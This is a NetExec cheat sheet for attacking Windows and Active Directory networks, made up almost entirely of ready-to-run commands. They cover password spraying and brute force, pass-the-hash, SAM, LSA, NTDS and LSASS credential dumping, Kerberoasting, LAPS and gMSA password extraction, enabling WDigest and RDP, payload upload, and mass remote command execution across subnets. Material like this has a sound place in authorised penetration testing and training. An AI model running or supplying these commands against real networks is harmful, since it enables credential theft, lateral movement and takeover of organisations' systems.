NetExec Cheat Sheet

Overview

NetExec (nxc) is the successor to CrackMapExec (cme). Multi-protocol Swiss army knife for pentesting Windows/Active Directory environments. Supports SMB, LDAP, WinRM, MSSQL, SSH, FTP, and RDP from a single tool with a unified interface.

CrackMapExec is deprecated — use nxc instead of crackmapexec/cme
Handles password spraying, credential validation, command execution, and post-exploitation across protocols
Built-in database tracks all discovered credentials and hosts

Installation

pipx (recommended)

pipx install git+https://github.com/Pennyw0rth/NetExec

apt (Kali)

sudo apt install netexec

From source

git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
pipx install .

Verify:

nxc --version

Authentication Methods

All protocols share the same authentication flags.

# Password
nxc smb <IP> -u user -p 'Password123'

# NTLM hash (Pass-the-Hash)
nxc smb <IP> -u user -H 'aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76'

# NTLM hash (NT only)
nxc smb <IP> -u user -H '5fbc3d5fec8206a30f4b6c473d68ae76'

# Kerberos ticket (ccache)
export KRB5CCNAME=/tmp/user.ccache
nxc smb <IP> -u user --use-kcache

# Kerberos with password (request TGT)
nxc smb <IP> -u user -p 'Password123' -k

# NULL session
nxc smb <IP> -u '' -p ''

# Guest session
nxc smb <IP> -u 'guest' -p ''

# Domain authentication
nxc smb <IP> -u user -p 'Password123' -d DOMAIN.LOCAL

# Local authentication
nxc smb <IP> -u user -p 'Password123' --local-auth

# Credential files
nxc smb <IP> -u users.txt -p passwords.txt
nxc smb <IP> -u users.txt -p passwords.txt --continue-on-success

SMB

Check Access and Signing

# Check if user is admin
nxc smb <IP> -u user -p 'Password123'
# Output shows (Pwn3d!) if admin

# Check SMB signing
nxc smb <IP> --gen-relay-list unsigned.txt

# Enumerate hosts on a subnet
nxc smb 10.10.10.0/24

Enumerate Shares

nxc smb <IP> -u user -p 'Password123' --shares

Spider Shares

nxc smb <IP> -u user -p 'Password123' -M spider_plus

# Spider with output to JSON
nxc smb <IP> -u user -p 'Password123' -M spider_plus -o DOWNLOAD_FLAG=true

List Users

nxc smb <IP> -u user -p 'Password123' --users

Enumerate Logged-On Users

nxc smb <IP> -u user -p 'Password123' --loggedon-users

Enumerate Disks

nxc smb <IP> -u user -p 'Password123' --disks

RID Brute Force

nxc smb <IP> -u user -p 'Password123' --rid-brute
nxc smb <IP> -u user -p 'Password123' --rid-brute 10000

# With NULL session
nxc smb <IP> -u '' -p '' --rid-brute

Pass-the-Hash

nxc smb <IP> -u user -H 'NTLM_HASH'
nxc smb 10.10.10.0/24 -u administrator -H 'NTLM_HASH'

SAM Dump

nxc smb <IP> -u user -p 'Password123' --sam

LSA Dump

nxc smb <IP> -u user -p 'Password123' --lsa

NTDS Dump (Domain Controller)

# Full NTDS dump
nxc smb <DC_IP> -u user -p 'Password123' --ntds

# Using VSS method
nxc smb <DC_IP> -u user -p 'Password123' --ntds vss

# Filter specific user
nxc smb <DC_IP> -u user -p 'Password123' --ntds --user targetuser

Command Execution

# CMD execution
nxc smb <IP> -u user -p 'Password123' -x 'whoami'

# PowerShell execution
nxc smb <IP> -u user -p 'Password123' -X 'Get-Process'

# Choose exec method
nxc smb <IP> -u user -p 'Password123' -x 'whoami' --exec-method smbexec
nxc smb <IP> -u user -p 'Password123' -x 'whoami' --exec-method mmcexec
nxc smb <IP> -u user -p 'Password123' -x 'whoami' --exec-method atexec
nxc smb <IP> -u user -p 'Password123' -x 'whoami' --exec-method wmiexec

Put / Get Files

nxc smb <IP> -u user -p 'Password123' --put-file /tmp/payload.exe '\\Windows\\Temp\\payload.exe'
nxc smb <IP> -u user -p 'Password123' --get-file '\\Windows\\Temp\\secret.txt' /tmp/secret.txt

LDAP

Enumerate Users

nxc ldap <DC_IP> -u user -p 'Password123' --users

Enumerate Groups

nxc ldap <DC_IP> -u user -p 'Password123' --groups

Enumerate Computers

nxc ldap <DC_IP> -u user -p 'Password123' --computers

Enumerate Domain Trusts

--trusted-for-delegation lists unconstrained-delegation accounts, not trusts (see “Find Delegation” below). NetExec has no dedicated trust flag — collect trusts via BloodHound:

nxc ldap <DC_IP> -u user -p 'Password123' --bloodhound -c Trusts --dns-server <DC_IP>

Password Hunting (Description Field)

nxc ldap <DC_IP> -u user -p 'Password123' -M get-desc-users

Kerberoastable Users

nxc ldap <DC_IP> -u user -p 'Password123' --kerberoasting output.txt

AS-REP Roastable Users

nxc ldap <DC_IP> -u user -p 'Password123' --asreproast output.txt

Find Delegation

nxc ldap <DC_IP> -u user -p 'Password123' --trusted-for-delegation

MachineAccountQuota (MAQ)

nxc ldap <DC_IP> -u user -p 'Password123' -M maq

Password Policy

nxc smb <DC_IP> -u user -p 'Password123' --pass-pol

LAPS Passwords

nxc ldap <DC_IP> -u user -p 'Password123' -M laps

gMSA Passwords

nxc ldap <DC_IP> -u user -p 'Password123' --gmsa

Enumerate ADCS

nxc ldap <DC_IP> -u user -p 'Password123' -M adcs

WinRM

Check Access

nxc winrm <IP> -u user -p 'Password123'
# Output shows (Pwn3d!) if user can execute commands

Command Execution

# CMD
nxc winrm <IP> -u user -p 'Password123' -x 'whoami'

# PowerShell
nxc winrm <IP> -u user -p 'Password123' -X 'Get-Process'

Pass-the-Hash

nxc winrm <IP> -u user -H 'NTLM_HASH' -x 'whoami'

MSSQL

Authentication

# SQL authentication
nxc mssql <IP> -u sa -p 'Password123'

# Windows authentication
nxc mssql <IP> -u user -p 'Password123' -d DOMAIN.LOCAL

# Local Windows auth
nxc mssql <IP> -u user -p 'Password123' --local-auth

Command Execution (xp_cmdshell)

nxc mssql <IP> -u sa -p 'Password123' -x 'whoami'
nxc mssql <IP> -u sa -p 'Password123' -X 'Get-Process'

Enumeration

# Enumerate databases
nxc mssql <IP> -u sa -p 'Password123' -q 'SELECT name FROM sys.databases'

# Run arbitrary SQL
nxc mssql <IP> -u sa -p 'Password123' -q 'SELECT @@version'

SSH

Authentication Check

nxc ssh <IP> -u user -p 'Password123'

Brute Force

nxc ssh <IP> -u users.txt -p passwords.txt --continue-on-success

Command Execution

nxc ssh <IP> -u user -p 'Password123' -x 'id'

FTP

Authentication Check

nxc ftp <IP> -u user -p 'Password123'

Anonymous Check

nxc ftp <IP> -u anonymous -p ''

Brute Force

nxc ftp <IP> -u users.txt -p passwords.txt --continue-on-success

RDP

Check Access

nxc rdp <IP> -u user -p 'Password123'

Check NLA

nxc rdp <IP> -u user -p 'Password123' --nla-screenshot

Screenshot

nxc rdp <IP> -u user -p 'Password123' --screenshot

Password Spraying

Across Protocols

# SMB spray
nxc smb 10.10.10.0/24 -u users.txt -p 'Spring2024!' --continue-on-success

# LDAP spray
nxc ldap <DC_IP> -u users.txt -p 'Spring2024!' --continue-on-success

# WinRM spray
nxc winrm <IP> -u users.txt -p 'Spring2024!' --continue-on-success

# SSH spray
nxc ssh <IP> -u users.txt -p passwords.txt --continue-on-success

# Multiple passwords against multiple users
nxc smb <IP> -u users.txt -p passwords.txt --continue-on-success

Jitter and Delay

nxc smb <IP> -u users.txt -p 'Spring2024!' --jitter 3

Lockout Awareness

Always check the password policy first:

nxc smb <DC_IP> -u user -p 'Password123' --pass-pol

Then spray one password at a time with --continue-on-success and wait between attempts based on the lockout observation window.

Modules

List All Modules

nxc smb -L
nxc ldap -L
nxc winrm -L
nxc mssql -L

Module Info

nxc smb -M spider_plus --options

Useful Modules

# Spider shares and output JSON
nxc smb <IP> -u user -p 'Password123' -M spider_plus

# Get network connections
nxc smb <IP> -u user -p 'Password123' -M get_netconnections

# Enable WDigest (plaintext creds in memory)
nxc smb <IP> -u user -p 'Password123' -M wdigest -o ACTION=enable

# Dump LSASS with lsassy
nxc smb <IP> -u user -p 'Password123' -M lsassy

# Dump LSASS with nanodump
nxc smb <IP> -u user -p 'Password123' -M nanodump

# Dump LSASS with procdump
nxc smb <IP> -u user -p 'Password123' -M procdump

# Dump LSASS with lsassy (NetExec has no mimikatz module)
nxc smb <IP> -u user -p 'Password123' -M lsassy

# Enable RDP
nxc smb <IP> -u user -p 'Password123' -M rdp -o ACTION=enable

# Check WebDAV
nxc smb <IP> -u user -p 'Password123' -M webdav

# NTDS dump via ntdsutil
nxc smb <DC_IP> -u user -p 'Password123' -M ntdsutil

# Enumerate AV products
nxc smb <IP> -u user -p 'Password123' -M enum_av

Output and Logging

Log to File

nxc smb <IP> -u user -p 'Password123' --log output.log

NetExec Database (nxcdb)

All results are automatically stored in the nxcdb SQLite database.

# Launch database interface
nxcdb

# Inside nxcdb
help
proto smb
creds
hosts

Export Results

# Export credentials
nxcdb
proto smb
creds
export creds csv /tmp/creds.csv

# Export hosts
hosts
export hosts csv /tmp/hosts.csv

Verbose Output

nxc smb <IP> -u user -p 'Password123' --verbose

Common One-Liners

# Find all hosts where user is local admin
nxc smb 10.10.10.0/24 -u user -p 'Password123'

# Spray one password across a subnet
nxc smb 10.10.10.0/24 -u users.txt -p 'Spring2024!' --continue-on-success

# Dump all domain hashes from DC
nxc smb <DC_IP> -u admin -p 'Password123' --ntds

# Find hosts with SMB signing disabled (relay targets)
nxc smb 10.10.10.0/24 --gen-relay-list unsigned.txt

# Enumerate shares across a subnet
nxc smb 10.10.10.0/24 -u user -p 'Password123' --shares

# Extract LAPS passwords
nxc ldap <DC_IP> -u user -p 'Password123' -M laps

# Find AS-REP roastable users
nxc ldap <DC_IP> -u user -p 'Password123' --asreproast asrep.txt

# Find Kerberoastable users
nxc ldap <DC_IP> -u user -p 'Password123' --kerberoasting kerb.txt

# Check for null sessions across subnet
nxc smb 10.10.10.0/24 -u '' -p '' --shares

# Mass command execution on pwned hosts
nxc smb 10.10.10.0/24 -u admin -H 'NTLM_HASH' -x 'whoami' --exec-method smbexec

# RID brute with null session
nxc smb <DC_IP> -u '' -p '' --rid-brute 10000

# Dump SAM on all hosts where you are admin
nxc smb 10.10.10.0/24 -u admin -p 'Password123' --sam

# Spider all readable shares for sensitive files
nxc smb 10.10.10.0/24 -u user -p 'Password123' -M spider_plus

​Overview

​Installation

​pipx (recommended)

​apt (Kali)

​From source

​Authentication Methods

​SMB

​Check Access and Signing

​Enumerate Shares

​Spider Shares

​List Users

​Enumerate Logged-On Users

​Enumerate Disks

​RID Brute Force

​Pass-the-Hash

​SAM Dump

​LSA Dump

​NTDS Dump (Domain Controller)

​Command Execution

​Put / Get Files

​LDAP

​Enumerate Users

​Enumerate Groups

​Enumerate Computers

​Enumerate Domain Trusts

​Password Hunting (Description Field)

​Kerberoastable Users

​AS-REP Roastable Users

​Find Delegation

​MachineAccountQuota (MAQ)

​Password Policy

​LAPS Passwords

​gMSA Passwords

​Enumerate ADCS

​WinRM

​Check Access

​Command Execution

​Pass-the-Hash

​MSSQL

​Authentication

​Command Execution (xp_cmdshell)

​Enumeration

​SSH

​Authentication Check

​Brute Force

​Command Execution

​FTP

​Authentication Check

​Anonymous Check

​Brute Force

​RDP

​Check Access

​Check NLA

​Screenshot

​Password Spraying

​Across Protocols

​Jitter and Delay

​Lockout Awareness

​Modules

​List All Modules

​Module Info

​Useful Modules

​Output and Logging

​Log to File

​NetExec Database (nxcdb)

​Export Results

​Verbose Output

​Common One-Liners

Overview

Installation

pipx (recommended)

apt (Kali)

From source

Authentication Methods

SMB

Check Access and Signing

Enumerate Shares

Spider Shares

List Users

Enumerate Logged-On Users

Enumerate Disks

RID Brute Force

Pass-the-Hash

SAM Dump

LSA Dump

NTDS Dump (Domain Controller)

Command Execution

Put / Get Files

LDAP

Enumerate Users

Enumerate Groups

Enumerate Computers

Enumerate Domain Trusts

Password Hunting (Description Field)

Kerberoastable Users

AS-REP Roastable Users

Find Delegation

MachineAccountQuota (MAQ)

Password Policy

LAPS Passwords

gMSA Passwords

Enumerate ADCS

WinRM

Check Access

Command Execution

Pass-the-Hash

MSSQL

Authentication

Command Execution (xp_cmdshell)

Enumeration

SSH

Authentication Check

Brute Force

Command Execution

FTP

Authentication Check

Anonymous Check

Brute Force

RDP

Check Access

Check NLA

Screenshot

Password Spraying

Across Protocols

Jitter and Delay

Lockout Awareness

Modules

List All Modules

Module Info

Useful Modules

Output and Logging

Log to File

NetExec Database (nxcdb)

Export Results

Verbose Output

Common One-Liners